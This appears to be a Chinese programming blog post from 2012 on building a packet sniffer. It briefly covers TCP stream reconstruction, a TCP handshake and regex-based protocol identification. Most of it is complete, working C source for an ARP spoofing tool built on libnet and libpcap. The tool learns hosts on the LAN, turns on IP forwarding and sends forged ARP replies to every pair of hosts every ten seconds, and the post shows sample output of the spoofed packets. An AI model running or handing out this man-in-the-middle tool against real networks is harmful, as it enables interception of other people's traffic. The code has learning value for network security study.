编写自己的sniffer(二)

 

一、提取端到端的流数据

 

  在wireshark抓包的过程中,发现了一个比较实用的功能,就是follow tcp stream,也即跟踪端到端之间两个主机间的所有应用层数据,于是我就自己尝试着实现这个功能,构造五元组数据结构,比较判断是否是相同连接。

由于有了上篇设计的流表,follow tcp stream的功能很容易实现,只需在原来的流表基础上,在五元组数据结构中添加一个指针域,指向该五元组的应用层数据结点。没识别一个相同的tcp或者udp连接,便插入该数据结点链表中,

所以follow tcp stream只需要遍历整个流表:1、计算hash;2、遍历五元组链表并比较;3、找到该五元组后,顺序遍历并打印应用层数据结点内容即可。

  以下是follow tcp stream的运行结果:

  

  

为了提高应用层数据的可读性并直观的表示,下面是应用层数据打印的结果(跟wireshark图形界面显示的一样):

 

二、arp欺骗

 

基本原理我就不罗嗦了,可以参考下面的文章(讲得非常不错):

交换型网络环境嗅探原理及LINUX下的实现

但是作者的代码运行却出现了很多错误,我猜测是libnet的版本问题,所以参照新版本的libnet的API修改了源代码:

 


  1 #include <stdarg.h>
  2 
  3 #include <libnet.h>
  4 
  5 #include <pcap.h>
  6 
  7 #include <signal.h>
  8 
  9 
 10 
 11 #define SECONDS 10
 12 
 13 typedef struct host HOST;//存放主机信息的链表
 14 
 15 
 16 
 17 struct host    
 18 
 19 {
 20 
 21     u_long ip;  //IP地址
 22 
 23     u_char mac[ETHER_ADDR_LEN];//MAC地址
 24 
 25     int mac_flag;   //  0 时mac为空,1时mac不为空
 26 
 27     HOST * next;
 28 
 29 };
 30 
 31 HOST * head, * tail;
 32 
 33 
 34 
 35
 36 
 37 typedef struct arphdr
 38 
 39 {
 40 
 41     u_int16_t  ar_hrd;    /*format of hardware address*/
 42 
 43     u_int16_t ar_pro;    /*format of protocol address*/
 44 
 45     u_char ar_hln;        /*length of hardware address*/
 46 
 47     u_char ar_pln;        /*length of protocol address*/
 48 
 49     u_int16_t ar_op;        /*ARP/RARP operation*/
 50 
 51 
 52 
 53     u_char ar_sha[6];    /*sender hardware address*/
 54 
 55     u_char ar_spa[4];    /*sender IP address*/
 56 
 57     u_char ar_tha[6];    /*target hardware address*/
 58 
 59     u_char ar_tpa[4];    /*target IP address*/
 60 
 61 }arphdr_t ;
 62 
 63 
 64 
 65 
 66 
 67 u_long MYIP ;//本机IP地址
 68 
 69 u_char MYMAC[ETHER_ADDR_LEN];//本机MAC地址
 70 
 71 
 72 
 73 int pktsize = LIBNET_ETH_H + LIBNET_ARP_H; //数据包
 74 
 75 char * device;
 76 
 77 pcap_t * p;
 78 
 79 u_char errbuf[LIBNET_ERRBUF_SIZE >= PCAP_ERRBUF_SIZE ? LIBNET_ERRBUF_SIZE : PCAP_ERRBUF_SIZE];
 80 
 81 u_char * packet;
 82 
 83 libnet_t * netif;
 84 
 85 
 86 int errexit(const char *format, ...)
 87 
 88 {
 89 
 90     va_list    args;
 91 
 92 
 93 
 94     va_start(args, format);
 95 
 96     vfprintf(stderr, format, args);
 97 
 98     va_end(args);
 99 
100     exit(1);
101 
102 }
103 
104 
105 
106 int mac_equal(u_char * mac1, u_char *mac2)
107 
108 {
109 
110      return ( memcmp(mac1, mac2, ETHER_ADDR_LEN) == 0 ? 1 : 0);//比较mac1与mac2的地址是否相等,相等返回1
111 
112 }
113 
114 
115 
116 
117 
118 /*
119 
120  @param:ip,源ip/目的ip;mac,源mac/目的mac
121 
122  @func:被动收集网络拓朴结构,向链表增加主机信息
123 
124  @note:每收到一个ARP请求/应答包,都执行add_host( )两次:add_host(发送端IP,发送端MAC),add_host(目的端IP,目的端MAC)。  
125 
126 */
127 
128 void add_host(u_long ip, u_char * mac)
129 
130 {
131 
132     HOST * new = NULL;
133 
134     HOST * cur = NULL;
135 
136 
137 
138     if( (ip == MYIP) || (mac && mac_equal(mac, MYMAC)) )//正常的ARP请求包和应答包,IP或MAC地址为本机的则忽略
139 
140         return;
141 
142 
143 
144     // 遍历链表查询IP地址
145 
146     for(cur = head; cur; cur = cur->next)
147 
148     {
149 
150         if( ip == cur->ip )//链表中存在该IP
151 
152         {
153 
154             if( mac )  // MAC不为空,则写入
155 
156             {
157 
158                 memcpy(cur->mac, mac, ETHER_ADDR_LEN);    //update mac message
159 
160                 cur->mac_flag = 1;
161 
162             }    
163 
164             return;
165 
166         }    
167 
168     }
169 
170     if(cur == NULL)  // 链表中没有该IP地址(ip!=cur->ip),则增加一个HOST节点
171 
172     {
173 
174         new = (HOST *)malloc(sizeof(HOST));
175 
176         new->ip = ip;
177 
178         if( mac )
179 
180         {
181 
182             memcpy(new->mac, mac, ETHER_ADDR_LEN);
183 
184             new->mac_flag = 1;
185 
186         }    
187 
188         else
189 
190             new->mac_flag = 0;//ARP请求
191 
192 
193 
194         new->next = NULL;
195 
196         if(! head)//把新节点加入链表
197 
198         {
199 
200             head = new;
201 
202             tail = new;
203 
204         }
205 
206         else
207 
208          {
209 
210             tail->next = new;
211 
212             tail = new;
213 
214         }  
215 
216     } 
217 
218 
219 
220     return;
221 
222 }
223 
224 
225 
226 void free_chain()
227 
228 {
229 
230     HOST * temp;
231 
232 
233 
234     for(temp = head; temp; temp = head)
235 
236     {
237 
238         head = temp->next;
239 
240         free(temp);
241 
242     }
243 
244 }
245 
246 
247 
248 void print_chain()
249 
250 {
251 
252     HOST * cur;
253 
254     char str[16];
255 
256     printf("\n遍历链表\n");
257 
258     for(cur = head; cur; cur = cur->next)
259 
260     {
261 
262         if(cur->mac_flag == 1)
263 
264             printf("(%.2x:%.2x:%.2x:%.2x:%.2x:%.2x)[%s]\n",
265 
266                 cur->mac[0], cur->mac[1], cur->mac[2], cur->mac[3], cur->mac[4], cur->mac[5],
267 
268              inet_ntop(AF_INET, (void *)&cur->ip, str,sizeof(str)));//inet_ntop将整数转换成点分十进制
269 
270         else
271 
272             printf("(null)[%s]\n", inet_ntop(AF_INET, (void *)&cur->ip, str,sizeof(str)));
273 
274     }
275 
276 }
277 
278 
279 
280 void sig_quit(int signo)
281 
282 {
283 
284     printf("caught SIGQUIT, free memory and close and exit !\n");
285 
286     free_chain();
287 
288     pcap_close(p);
289 
290     libnet_destroy(netif);//单数据包内存释放
291 
292     libnet_close_link(netif);//关闭链路层接口设备
293 
294     exit(0);
295 
296 }
297 
298 
299 
300 void send_fake_arp_packet()//发送伪造数据包
301 
302 {
303 
304     HOST * temp, * cur;
305 
306     u_char broad[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
307 
308 
309 
310     for(cur = head; cur ; cur = cur->next)
311 
312     {
313 
314         if( cur->mac_flag == 0)   // 发送arp请求包给cur->ip以求该ip的mac地址
315 
316         {
317 
318             libnet_build_ethernet(broad, MYMAC, ETHERTYPE_ARP, NULL, 0, netif, 0);//构造以太网协议数据包
319 
320             libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REQUEST,
321 
322                 MYMAC, (u_char *)&MYIP, (u_char *)broad,(u_char *)&cur->ip, NULL, 0, netif, 0);//构造ARP数据包
323 
324             //if((libnet_write_link(netif, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0)//发送链路层数据包
325 
326             if(libnet_write(netif) == -1)            
327 
328                 errexit("libnet_write_link_layer error1\n");
329 
330             continue;
331 
332         }    
333 
334         for(temp = head; temp; temp = temp->next)
335 
336         {
337 
338             if (temp == cur) 
339 
340                 continue;
341 
342 
343 
344             libnet_build_ethernet(cur->mac, MYMAC, ETHERTYPE_ARP, NULL, 0, netif, 0);
345 
346             libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,
347 
348                 MYMAC, (u_char *)&temp->ip, cur->mac,(u_char *)&cur->ip, NULL, 0, netif, 0);
349 
350             //if((libnet_write_link(netif, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0)
351 
352             if(libnet_write(netif) == -1)            
353 
354             {
355 
356                 perror("write_link");                
357 
358                 errexit("libnet_write_link_layer error2\n");
359 
360             }else {printf("\n write ok!\n");}
361 
362         }
363 
364     }    
365 
366     printf("\nStart Send Arp Packet\n");
367 
368 }
369 
370 
371 
372 void sig_arp(int signal)
373 
374 {
375 
376     send_fake_arp_packet();
377 
378     alarm(SECONDS);
379 
380     return;
381 
382 }    
383 
384 
385 
386 void linux_enable_ip_forwarding(void)
387 
388 {
389 
390     u_char *proc_node = "/proc/sys/net/ipv4/ip_forward";
391 
392     FILE *fp;
393 
394  
395 
396     if((fp = fopen(proc_node, "w")) == NULL)
397 
398         errexit("fopen FILE %s error\n", proc_node);
399 
400     if((fputs("1", fp)) == EOF)
401 
402         errexit("fputs FILE %s error\n", proc_node);
403 
404       fclose(fp);
405 
406 
407 
408     printf("IP forwarding enabled successfully\n");
409 
410 }
411 
412 
413 
414 int main(int argc, char ** argv)
415 
416 {
417 
418     unsigned int localnet, netmask;
419 
420     char    str1[16], str2[16];
421 
422     char  * ptr, * data ;
423 
424 
425 
426     struct bpf_program fcode;
427 
428     struct pcap_pkthdr hdr;
429 
430 
431 
432     struct libnet_ethernet_hdr * eth;
433 
434     arphdr_t *arp;    
435 
436     struct libnet_ether_addr * my_ether_addr;
437 
438 
439 
440     //struct libnet_l *libnet_ptr;
441 
442     if ( (device = pcap_lookupdev(errbuf)) == NULL)//获取网络接口
443 
444         errexit("pcap_lookup: %s", errbuf);
445 
446     printf("device = %s\n", device);
447 
448 
449 
450     if ( (p = pcap_open_live(device, 8000, 1, 500, errbuf)) == NULL)//获得用于捕获网络数据包的数据包捕获描述字
451 
452         errexit("pcap_open_live: %s", errbuf);
453 
454 
455 
456     if (pcap_lookupnet(device, &localnet, &netmask, errbuf) < 0)//获取网络号
457 
458         errexit("pcap_lookupnet: %s", errbuf);
459 
460     
461 
462     printf("localnet = %s,  netmask = %s\n",
463 
464             inet_ntop(AF_INET, &localnet, str1, sizeof(str1)),
465 
466             inet_ntop(AF_INET, &netmask, str2, sizeof(str2)));
467 
468 
469 
470     printf("datalink = %d\n", pcap_datalink(p));//返回链路层类型
471 
472     
473 
474     
475 
476     if(argv[1] != NULL) // 设置过滤包
477 
478     {
479 
480         if(pcap_compile(p, &fcode, argv[1], 0, netmask) < 0)//将argv【1】编译到过滤程序中
481 
482             errexit("pcap_compile  : %s\n", errbuf);
483 
484 
485 
486         if(pcap_setfilter(p, &fcode) < 0)//把一个过滤器同一次抓包关联起来
487 
488             errexit("pcap_setfilter : %s\n", errbuf);
489 
490     }
491 
492 
493 
494     if ( signal(SIGALRM, sig_arp) == SIG_ERR )
495 
496         errexit("signal error\n");
497 
498     
499 
500     //LIBNET_LINK or LIBNET_LINK_ADV
501 
502     netif = libnet_init(LIBNET_LINK_ADV, device, errbuf);//第一个参数设定这个实列是在链路层工作,还是在IP层工作。 
503 
504     if(netif == NULL)
505 
506         perror("netif");
507 
508     
509 
510     if((my_ether_addr = libnet_get_hwaddr(netif)) == NULL)//获取接口设备硬件地址
511 
512         errexit("libnet_get_hwaddr : %s\n", errbuf);
513 
514     memcpy(MYMAC, (u_char *)my_ether_addr, ETHER_ADDR_LEN);
515 
516     
517 
518     if((MYIP = libnet_get_ipaddr4(netif)) == 0)//获取接口设备IP地址
519 
520         errexit("libnet_get_ipaddr : %s\n", errbuf);
521 
522     MYIP = htonl(MYIP);//将主机字节顺序转换成网络字节顺序
523 
524 
525 
526     printf("MYIP =  %s\n", inet_ntop(AF_INET, (void *)&MYIP, str1,sizeof(str1)));
527 
528     printf("MYMAC = %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",MYMAC[0], MYMAC[1],MYMAC[2],MYMAC[3],MYMAC[4],MYMAC[5]);
529 
530     linux_enable_ip_forwarding();
531 
532 
533 
534     fflush(stdout);//消除输出缓冲区
535 
536     signal(SIGINT, sig_quit);
537 
538     sig_arp(SIGALRM);
539                     
540 
541     for( ; ; )
542 
543     {
544 
545         while((ptr = (char *)(pcap_next(p, &hdr))) == NULL);
546 
547         eth = (struct libnet_ethernet_hdr *)ptr;
548 
549         if(eth->ether_type == ntohs(ETHERTYPE_ARP))
550 
551         {
552 
553             arp = (arphdr_t *)(ptr+14);
554 
555             if(ntohs(arp->ar_op) == ARPOP_REQUEST)
556 
557             {
558 
559                 printf("arp request : ");    
560 
561                 printf("%s(%.2x:%.2x:%.2x:%.2x:%.2x:%.2x) ask the MAC of IP = ",
562 
563                     inet_ntop(AF_INET, (void *)&arp->ar_spa, str1, sizeof(str1)),  //源ip:源mac
564 
565                     arp->ar_sha[0],
566 
567                     arp->ar_sha[1],
568 
569                     arp->ar_sha[2],
570 
571                     arp->ar_sha[3],
572 
573                     arp->ar_sha[4],
574 
575                     arp->ar_sha[5]);
576 
577                 printf("%s\n", inet_ntop(AF_INET, (void *)&arp->ar_tpa, str1,sizeof(str1)));  //目的ip
578 
579 
580                 add_host(*((u_long *)arp->ar_spa), (u_char *)arp->ar_sha); // 添加源IP,MAC
581 
582                 printf("\n添加目的ip,mac\n");
583 
584                 add_host(*((u_long *)arp->ar_tpa), (u_char *)NULL);  // 添加目的IP,MAC(NULL)
585 
586                 
587 
588                 print_chain();
589 
590                 fflush(stdout);
591 
592                 continue;
593 
594             }
595 
596 
597 
598             if(ntohs(arp->ar_op) == ARPOP_REPLY)
599 
600             {       
601 
602                 printf("arp reply   : ");    
603 
604                 printf("%s reply ", inet_ntop(AF_INET, (void *)&arp->ar_spa, str1, sizeof(str1)));
605 
606                 
607 
608                 printf("%s(%.2x:%.2x:%.2x:%.2x:%.2x:%.2x) ",
609 
610                     inet_ntop(AF_INET,(void *)&arp->ar_tpa, str1, sizeof(str1)),  
611 
612                     arp->ar_tha[0],
613 
614                     arp->ar_tha[1],
615 
616                     arp->ar_tha[2],
617 
618                     arp->ar_tha[3],
619 
620                     arp->ar_tha[4],
621 
622                     arp->ar_tha[5]);
623 
624 
625 
626                 printf("my MAC is (%.2x:%.2x:%.2x:%.2x:%.2x:%.2x)\n", 
627 
628                     arp->ar_sha[0],
629 
630                     arp->ar_sha[1],
631 
632                     arp->ar_sha[2],
633 
634                     arp->ar_sha[3],
635 
636                     arp->ar_sha[4],
637 
638                     arp->ar_sha[5]);
639 
640             
641 
642                 
643 
644                 if( *((u_long *)arp->ar_spa) != MYIP  && mac_equal(arp->ar_sha, MYMAC) )//如果应答包是我发送的欺骗包则忽略
645 
646                     continue;
647 
648                     
649 
650                 add_host(*((u_long *)arp->ar_spa), (u_char *)arp->ar_sha); // 添加源IP,MAC
651 
652                 add_host(*((u_long *)arp->ar_tpa), (u_char *)arp->ar_tha);  // 添加目的IP,MAC
653 
654                 print_chain();
655 
656                 fflush(stdout);
657 
658                 continue;
659             }        
660         }    
661     } 
662 }

运行结果:

localnet = 192.168.0.0, netmask = 255.255.255.0
MYIP = 85.0.168.192
MYMAC = 44:87:fc:98:ec:ea
IP forwarding enabled successfully

发送arp响应(欺骗包):
发送端MAC        发送端IP       目的MAC           目的IP
44:87:fc:98:ec:ea   192.168.0.1    44:87:fc:98:ec:eb     192.168.0.41

发送arp响应(欺骗包):
发送端MAC        发送端IP       目的MAC          目的IP
44:87:fc:98:ec:ea   192.168.0.127   44:87:fc:98:ec:eb      192.168.0.41

发送arp响应(欺骗包):
发送端MAC        发送端IP       目的MAC          目的IP
44:87:fc:98:ec:ea   192.168.0.41    00:1a:64:a3:2b:e2      192.168.0.1

发送arp响应(欺骗包):
发送端MAC        发送端IP       目的MAC          目的IP
44:87:fc:98:ec:ea   192.168.0.127    00:1a:64:a3:2b:e2    192.168.0.1

发送arp请求(欺骗包):
发送端MAC        发送端IP      目的MAC          目的IP
44:87:fc:98:ec:ea   192.168.0.85   ff:ff:ff:ff:ff:ff        192.168.0.127


Start Send Fake Arp Packet
arp request : 192.168.0.1(00:1a:64:a3:2b:e2) ask IP ——> "tell me you mac" 192.168.0.127

遍历主机链表格式:(MAC)[IP]
***************************
(44:87:fc:98:ec:eb)[192.168.0.41]
(00:1a:64:a3:2b:e2)[192.168.0.1]
(null)[192.168.0.127]
***************************

 

三、三次握手

 

这个直接上图了

 

四、基于正则表达式的应用层协议识别

 

以下是基本设计思路:

 

将各应用层协议正则模式串文件放到系统指定目录下,这些文件都可以从L7-filter官网下载:http://l7-filter.sourceforge.net/

 

详细设计流程:

 

PS:暂时实现了FTP、HTTP的识别,其他协议还不清楚原因。

 

posted on 2012-06-30 22:14  Seiyagoo  阅读(2215)  评论(2编辑  收藏  举报